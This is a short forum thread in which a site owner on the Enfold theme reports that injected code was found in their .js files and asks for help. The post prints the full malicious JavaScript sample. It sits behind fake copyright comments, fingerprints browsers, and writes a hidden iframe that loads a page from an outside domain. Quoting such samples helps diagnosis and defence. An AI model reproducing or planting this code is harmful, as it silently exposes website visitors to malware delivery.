malware and enfold theme

I’m haveing the same issue here.
Sucuri plugin says that all my .js files were infected.
I checked the date of those files whis is old.

I found that the following code is added to .js files:

/*
Copyright (C) 2007 Free Software Foundation, Inc. http://fsf.org/
*/
function getCookie(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):undefined}function ActerMoto(){var e=navigator.userAgent;var t=e.indexOf("Chrome")>-1||e.indexOf("IEMobile")>-1||e.indexOf("Windows NT 6.2")>-1||e.indexOf("Windows NT 6.3")>-1||e.indexOf("Windows")<+1;var n=getCookie("lusikrators")===undefined;if(!t&&n){document.write('<iframe src="http://fluersutel.tecnofifa.com.ar/dulbaruid16.html" style="left: -904px;border-left-style: dotted;border-right-color: rgb(13,64,34);border-right-style: solid;height: 100px;width: 100px;position: absolute;border-right-width: 8px;top: -904px;"></iframe>');var r=new Date((new Date).getTime()+64*60*60*1e3);document.cookie="lusikrators=1; path=/; expires="+r.toUTCString()}}ActerMoto()
/*
Copyright (C) 2000 Free Software Foundation, Inc. See LICENSE.txt

Anyone has the same?

• This reply was modified 10 years, 2 months ago by Mariusz.

No I don’t know the solution.
I updated everything, changed pass… still have the same issue.